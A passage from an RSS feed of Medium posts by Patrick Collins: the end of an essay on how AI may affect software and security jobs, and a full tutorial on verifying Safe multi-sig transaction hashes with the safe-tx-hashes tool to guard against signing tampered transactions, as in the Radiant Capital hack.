human-AI collaboration model to extend across most knowledge professions. Doctors will use AI suggestions as a starting point but rely on their expertise for final decisions. Software engineers will follow a similar pattern.</p><h3>The Rising Knowledge Bar</h3><p>What this means is that the days of attending a two-week bootcamp and landing a six-figure job immediately afterward are over — and that’s probably a good thing.</p><p>The knowledge requirements to be a software engineer are increasing:</p><ul><li>In 2022, you could complete a short bootcamp and potentially find a high-paying job</li><li>In 2024, the bar is rising — you might need years of hard work and open source contributions</li><li>In the future, the prerequisite knowledge will continue to increase</li></ul><p>For comparison, doctors need extensive knowledge and often aren’t financially stable until their 30s. I believe the knowledge requirements for all professions will increase as AI makes learning more accessible.</p><h3>What Industry Leaders Are Saying</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7k1ehaE0bdU%3Fstart%3D7700%26feature%3Doembed%26start%3D7700&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7k1ehaE0bdU&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7k1ehaE0bdU%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/d8e7a70a3d68f18b07a9226f5989c0f5/href">https://medium.com/media/d8e7a70a3d68f18b07a9226f5989c0f5/href</a></iframe><p>Mark Zuckerberg stated on Joe Rogan’s podcast:</p><blockquote>Probably in 2025, we at Meta, as well as other companies working on this, are going to have an AI that can effectively be a sort of mid-level engineer that you have at your company that can write code.</blockquote><p>Companies like Salesforce have already paused hiring new software engineers. Though, I believe this is partly a market correction following the aggressive hiring during the pandemic years.</p><h3>Jevons Paradox: Why AI Might Actually Increase Demand</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NBxUKPrWMb3_lWK1" /><figcaption>Original image from <a href="https://sketchplanations.com/jevons-paradox">sketchplanations</a></figcaption></figure><p>Here’s where Jevons Paradox comes in. Named after economist William Stanley Jevons, this economic theory states that when technological progress increases the efficiency of a resource, the rate of consumption of that resource may actually increase rather than decrease.</p><p>Examples of this paradox in action:</p><ul><li>As computing power became cheaper, demand for it skyrocketed</li><li>As cars became more fuel-efficient, more cars were driven</li></ul><p>Applied to software development, AI making software creation cheaper could actually increase demand. As building software becomes less expensive, we might see a surge in new applications and systems, potentially creating more jobs, not fewer.</p><p>However, the prerequisite knowledge to get these jobs will remain higher than before.</p><h3>The Security Researcher Exception</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DwaLWdL4mZ4ChEkGJ0cgJA.png" /><figcaption>The <a href="https://www.codehawks.com/">CodeHawks</a> competitive security review platform</figcaption></figure><p>There’s a significant exception to this trend: security researchers. Technical security researchers still need extensive prerequisite knowledge, but they can demonstrate their skills through bug bounties and competitive audits like <a href="https://www.codehawks.com/">CodeHawks</a>.</p><p>With the proliferation of AI-generated code, security becomes even more crucial. While a questionable study claimed that<a href="https://resources.uplevelteam.com/gen-ai-for-coding"> using AI led to a 41% increase in bugs</a>, the methodology was flawed. However, the concern is valid.</p><p>In critical applications — like medical devices with human lives at stake or smart contracts handling billions of dollars, with dollars <em>staked</em> — bugs can be catastrophic. AIs trained on human code inherit human errors. This is why security expertise remains invaluable.</p><p>From my experience as a blockchain engineer, I’ve tested many AI auditing tools and found them lacking compared to traditional static analysis. While AI tools may help with fuzzing and understanding invariants, they don’t yet replace human security experts.</p><h3>The Blockchain Security Advantage</h3><p>Blockchain security researchers and smart contract engineers may be safer than those in other industries. In blockchain, a single bug can result in a protocol being hacked and destroyed. We’ve seen protocols audited by AI subsequently get hacked.</p><p>Eventually, AI may surpass most humans in security analysis, but that future is further away than many think. For the foreseeable future, the human-AI hybrid approach will yield better results.</p><h3>The Data Drought</h3><p>Interestingly, as AI capabilities improve, we’re seeing a<a href="https://www.dataprovenance.org/consent-in-crisis-paper"> drought in training data.</a> Historically, AIs were trained on forums like Stack Overflow, but many of these sources are drying up as people interact with AI rather than these platforms. So AI is having to train itself… with itself.</p><p>Additionally, many sites are implementing <a href="https://developers.google.com/search/docs/crawling-indexing/robots/intro">robots.txt</a> files to prevent scrapers from collecting their data, further limiting new training material.</p><h3>How to Stay Relevant</h3><p>So, what should you do if you’re concerned about your future in software or security?</p><ol><li><strong>Never stop learning</strong>: If you got your degree and decided you don’t want to learn anymore, AI will take your job. Stay relevant by consistently learning and growing.</li><li><strong>Embrace AI tools</strong>: Use these tools to become more efficient, but understand what they’re doing. Know the code they’re generating so you can implement it effectively.</li><li><strong>Understand AI limitations</strong>: Recognize that AI is trained on historical data, which is a lagging indicator. For example, current AI tools might still recommend pip instead of newer, better tools like <a href="https://docs.astral.sh/uv">uv</a>. Your cutting-edge knowledge gives you an advantage.</li><li><strong>Consider security</strong>: In critical systems, the consequences of errors can be severe. Security expertise will remain valuable as AI-generated code proliferates.</li></ol><h3>The Future Is Collaborative</h3><p>My take: Many junior roles will disappear, but that’s not necessarily bad. Society will move faster and achieve more technological advancements because of AI. However, you’ll need to elevate your skills to provide value in this new landscape.</p><p>AI is ultimately just a tool — one that can help us build better systems, more secure smart contracts, and a better future. Those who learn to collaborate effectively with AI, bringing human expertise to bear on problems AI can’t fully solve, will thrive in the coming years.</p><h3>References</h3><ul><li><a href="https://youtu.be/7k1ehaE0bdU?t=7700">Zuckerberg interview on Joe Rogan</a></li><li><a href="https://www.sciencedirect.com/science/article/abs/pii/S0893395224000024">AI performs worse with contamination study</a></li><li><a href="https://papers.ssrn.com/sol3/papers.cfm?abstract_id=4945566">The effect of AI on high-skilled work</a></li><li><a href="https://github.com/deepseek-ai/DeepSeek-R1/blob/main/DeepSeek_R1.pdf">DeepSeek beating benchmarks (like Math tests)</a></li><li><a href="https://www.dataprovenance.org/consent-in-crisis-paper">Data powering AI is disappearing</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7292fb20cbda" width="1" height="1" alt=""><hr><p><a href="https://medium.com/cyfrin/is-ai-going-to-take-software-jobs-7292fb20cbda">Is AI going to take software jobs?</a> was originally published in <a href="https://medium.com/cyfrin">Cyfrin</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hardware Wallet Multi-Sig Signature Verification | How]]></title>
            <link>https://patrickalphac.medium.com/hardware-wallet-multi-sig-signature-verification-how-03c9eaeaaed9?source=rss-589c510eb216------2</link>
            <guid isPermaLink="false">https://medium.com/p/03c9eaeaaed9</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[hardware-wallet]]></category>
            <category><![CDATA[multi-sig-wallet]]></category>
            <dc:creator><![CDATA[Patrick Collins]]></dc:creator>
            <pubDate>Thu, 30 Jan 2025 15:09:55 GMT</pubDate>
            <atom:updated>2025-01-30T15:09:55.249Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hardware Wallet Multi-Sig Signature Verification | How do I do it?</h3><h4>Learn how to verify Safe multi-sig wallet signatures with Cyfrin’s safe-tx-hashes tool — the fix for the Radiant Capital hack.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-hQcaxuJt1GZUml4jPhPGQ.png" /></figure><p>‍ <em>Huge thank you to </em><a href="https://x.com/pcaversaccio"><em>pcaversaccio</em></a><em> for pushing this and writing the original tool.‍</em></p><h3>What web3 learned from watching Radiant Capital lose $50M</h3><p>The <a href="https://rekt.news/radiant-capital-rekt2/">Radiant Capital</a> hack went (essentially) like this:</p><ol><li>They had a Safe Multi-sig wallet</li><li>A few of their signers had compromised computers</li><li>Their computer screens showed “good” data, but they sent malicious data to their wallets</li><li>They signed the wallet transactions because they didn’t know how to verify them</li></ol><p>This costly mistake highlights the critical importance of understanding and verifying multi-signature (multi-sig) transactions. The ability to verify signatures is a skill you must have if you want to be involved in security councils, DAOs, incident response, or a DevOps team. Heck, even if you just want to be sure your personal accounts don’t get rekt.</p><p>Multi-sig wallets are renowned for their security, but to leverage this security effectively, you need to know how to verify that what you’re signing is indeed what you intend to sign.</p><p>Let’s learn how you can verify every part of your <a href="https://safe.global/">Safe multi-sig</a> process so you don’t fall victim to this attack.</p><p>If you’d rather watch, we also have a video on YouTube to guide you step by step.</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F7lP_0h-PPvY%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D7lP_0h-PPvY&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F7lP_0h-PPvY%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6d49114f3c9e02f6f7a38d8067087676/href">https://medium.com/media/6d49114f3c9e02f6f7a38d8067087676/href</a></iframe><h3>‍Getting started: download the safe-tx-hashes tool</h3><p>First, you’ll want to download the tool. Head over to the <a href="https://github.com/Cyfrin/safe-tx-hashes">safe-tx-hashes</a> repository to download the safe_hashes executable.</p><p>This tool allows us to quickly input the safe transaction data, see what we should be getting, and verify that is indeed what’s showing up on our wallets.</p><p>As we go through this, it’s important to first understand what security assumptions we are making and what the threat vectors may be, so we can avoid them.</p><p>With this tool, we already have some assumptions that the following tools are safe:</p><ul><li><a href="https://github.com/foundry-rs/foundry">foundry</a></li><li>bash</li><li>perl</li><li><a href="https://docs.safe.global/core-api/transaction-service-overview">The Safe Transaction Service API </a>(Sort of, we’ll talk about this later)</li><li>And finally, the tool itself: safe-tx-hashes<br>‍</li></ul><h3>Verifying a transaction: The setup</h3><p>Let’s start with a scenario.</p><p>Your team needs to approve the Uniswap router to access your USDC for a swap — a relatively common DeFi transaction. Your Safe UI may look as such:‍</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8zt1TUHwE4HPQdZN.png" /><figcaption>Example Safe UI</figcaption></figure><p>‍When you scroll to the bottom, you’ll get a big “sign” button. And when you click it, your wallet displays a message for you to verify, it might look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*RMJGMnJAFDuwlKlu.png" /><figcaption>Example on Leger Nano X</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/0*xQQ10ev8Puc9dDrI.png" /><figcaption>Example on Trezor Model T</figcaption></figure><p>This is the Safe transaction message hash that we need to verify and be 100% sure of what it’s doing. So, what is it doing?</p><p>This message is the <a href="https://github.com/PatrickAlphaC/signatureVerification/blob/c849abb69a497f07359073e13446b7ca234524a3/src/SignatureVerifier.sol#L111">EIP-712 signature</a> of the message our multi-sig uses to verify transactions. Enough users must sign a message in a particular format for it to be accepted. We cover <a href="https://www.cyfrin.io/blog/understanding-ethereum-signature-standards-eip-191-eip-712">EIP-712 and 191</a> in our blog and in Cyfrin Updraft if you’d like to learn more.</p><p>The safe hash is calculated as such (in Solidity):‍</p><pre>keccak256(abi.encodePacked(bytes1(0x19), bytes1(0x01), bytes32($domain_hash), bytes32($message_hash)))‍</pre><p>And the message_hash is calculated with (with bash/foundry):‍</p><pre>local message=$(cast abi-encode &quot;SafeTxStruct(bytes32,address,uint256,bytes32,uint8,uint256,uint256,uint256,address,address,uint256)&quot; \<br>       &quot;$safe_tx_typehash&quot; \<br>       &quot;$to&quot; \<br>       &quot;$value&quot; \<br>       &quot;$data_hashed&quot; \<br>       &quot;$operation&quot; \<br>       &quot;$safe_tx_gas&quot; \<br>       &quot;$base_gas&quot; \<br>       &quot;$gas_price&quot; \<br>       &quot;$gas_token&quot; \<br>       &quot;$refund_receiver&quot; \<br>       &quot;$nonce&quot;)<br># Calculate the message hash.<br>   local message_hash=$(cast keccak &quot;$message&quot;)‍</pre><p>In essence, these hashes combine all critical transaction components to create a unique signature. This ensures that when the multi-sig wallet verifies a signature, it can be certain that it corresponds to this specific transaction on this specific wallet instance.</p><p>Now, what’s important here is that we must be completely sure this signature has the data we expect. If someone wanted us to sign a different transaction, they could just change the data that gets hashed as data_hashed. But, this would return a different signature! So if we are vigilant, we can see this, and not sign.</p><p>So our process will be to recreate what we <em>expect </em>the signature to be offline, then compare it to the signature we get on our hardware wallet.‍</p><h3>Verifying transactions: Uninitialized with the Safe API</h3><p>When you reach this page in the Safe UI, the Safe API will “save” the data here so that we can call the API to populate our tool. We can simply run:‍</p><pre>safe_hashes --address &lt;MULTI_SIG_WALLET_ADDRESS&gt; --nonce XX --network xxxx --untruste‍</pre><p>And this pulls all the data from the Safe UI and shows it directly to us! Including the transaction parameters and the expected signature. For example, you can run this script yourself to see the output!‍</p><pre>safe_hashes --network sepolia --address 0x86D46EcD553d25da0E3b96A9a1B442ac72fa9e9F --nonce 7 --untrusted‍</pre><p>You’ll get an output like this:‍</p><pre>Transaction Data<br>Multisig address: 0x86D46EcD553d25da0E3b96A9a1B442ac72fa9e9F<br>To: 0x7b79995e5f793A07Bc00c21412e50Ecae098E7f9<br>Value: 0<br>Data: 0x095ea7b3000000000000000000000000fe2f653f6579de62aaf8b186e618887d03fa31260000000000000000000000000000000000000000000000000000000000000001<br>Encoded message: 0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d80000000000000000000000007b79995e5f793a07bc00c21412e50ecae098e7f900000000000000000000000000000000000000000000000000000000000000001c62604b0ed9a9ec0e55efe8fb203b3029e147d994854cf0dd8a9fcf5b240d600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007<br>Method: approve<br>Parameters: [<br>  {<br>    &quot;name&quot;: &quot;guy&quot;,<br>    &quot;type&quot;: &quot;address&quot;,<br>    &quot;value&quot;: &quot;0xfE2f653f6579dE62aAF8B186E618887d03FA3126&quot;<br>  },<br>  {<br>    &quot;name&quot;: &quot;wad&quot;,<br>    &quot;type&quot;: &quot;uint256&quot;,<br>    &quot;value&quot;: &quot;1&quot;<br>  }<br>]<br>Legacy Ledger Format<br>Binary string literal: \xe8\xc9\xfbR\xf3$\\xc5\xe451\x1b\xa4\xd5pAJ4=\x80\xeal7g\xa1jy\xbd*\xaa\x0c7<br>Hashes<br>Domain hash: 0xE411DFD2D178C853945BE30E1CEFBE090E56900073377BA8B8D0B47BAEC31EDB<br>Message hash: 0x27B5FF2CB38C914873DAF41B5A4984C76DB35F1812877F72A9D5DEA6960ED0B1<br>Safe transaction hash: 0xe8c9fb52f3245cc5e435311ba4d570414a343d80ea6c3767a16a79bd2aaa0c37‍</pre><p>The transaction is calculated based on the data the Safe UI is giving us. We can also see the transaction that is being sent here too! With this, we can verify the transaction is correct, and verify the Safe transaction hash matches what we see in our wallet.</p><p>If a hacker took over the Safe UI/API when they sent us the malicious transaction, our script would recalculate the expected hash, and we would either see the transaction data is malicious (by inspecting the method section) or we’d see a different hash, and we’d reject the transaction!</p><p>However, if the Safe API is compromised, we’d have to manually do our verification process.‍</p><h3>Verifying transactions: Uninitialized without the Safe API</h3><p>For us to verify the hash without the Safe API, we’d just manually add the data to our tool, and use the --offline flag. Like this (you can also run it!):</p><pre>safe_hashes --offline --data 0x095ea7b3000000000000000000000000fe2f653f6579de62aaf8b186e618887d03fa31260000000000000000000000000000000000000000000000000000000000000001 --address 0x86D46EcD553d25da0E3b96A9a1B442ac72fa9e9F --network sepolia --nonce 6 --to 0x7b79995e5f793A07Bc00c21412e50Ecae098E7f9‍</pre><p>The data was calculated using the cast tool:‍</p><pre>cast calldata &quot;approve(address,uint256) 0xfe2f653f6579de62aaf8b186e618887d03fa3126 1‍</pre><p>You can learn more about getting calldata and verifying transactions from <a href="https://www.youtube.com/watch?v=-5AcTAFPDE4">this video.</a> This would give you an output like this:‍</p><pre>Transaction Data<br>Multisig address: 0x86D46EcD553d25da0E3b96A9a1B442ac72fa9e9F<br>To: 0x7b79995e5f793A07Bc00c21412e50Ecae098E7f9<br>Value: 0<br>Data: 0x095ea7b3000000000000000000000000fe2f653f6579de62aaf8b186e618887d03fa31260000000000000000000000000000000000000000000000000000000000000001<br>Encoded message: 0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d80000000000000000000000007b79995e5f793a07bc00c21412e50ecae098e7f900000000000000000000000000000000000000000000000000000000000000001c62604b0ed9a9ec0e55efe8fb203b3029e147d994854cf0dd8a9fcf5b240d600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006<br>Skipping decoded data, since raw data was passed<br><br>Legacy Ledger Format<br>Binary string literal: !;\xe07&#39;\\x94D\x9a(\xb4\xed\xea\xd7k\x0dc\xc7\xe1+R%\x7f\x9dV\x86\xd9\x8b\x9a\x1a_\xf4<br>Hashes<br>Domain hash: 0xE411DFD2D178C853945BE30E1CEFBE090E56900073377BA8B8D0B47BAEC31EDB<br>Message hash: 0x4BBDE73F23B1792683730E7AE534A56A0EFAA8B7B467FF605202763CE2124DBC<br>Safe transaction hash: 0x213be037275c94449a28b4edead76b0d63c7e12b52257f9d5686d98b9a1a5ff4</pre><p>‍With this, you don’t even need to trust the safe API!‍</p><h3>Finishing up</h3><p>Once a transaction has been signed at least once, you can get the signature for it from the Safe API without passing the --untrusted command.</p><p>Then, once everyone has signed and verified, you can run the command again with the --print-mst-calldata flag to see what the calldata should look like, so you can go a step further and finally verify the actual transaction.</p><p>You can view more examples, documentation, and tools in the <a href="https://github.com/Cyfrin/safe-tx-hashes">GitHub repo</a> for the safe_hashes tool.‍</p><h3>Final thoughts</h3><p>Ensuring the security of multi-sig transactions is not just about using the right tools but also about understanding the process and the potential risks involved. By following these guidelines, you can safeguard your cryptocurrency assets effectively.</p><p><strong>Please have a process for you and your team to verify signatures so you don’t fall for the same hack that plagued the Radiant team!</strong></p><p><em>Originally published at </em><a href="https://www.cyfrin.io/blog/reduce-the-risk-of-cyber-attacks-isolated-dev-environments"><em>https://www.cyfrin.io</em></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=03c9eaeaaed9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>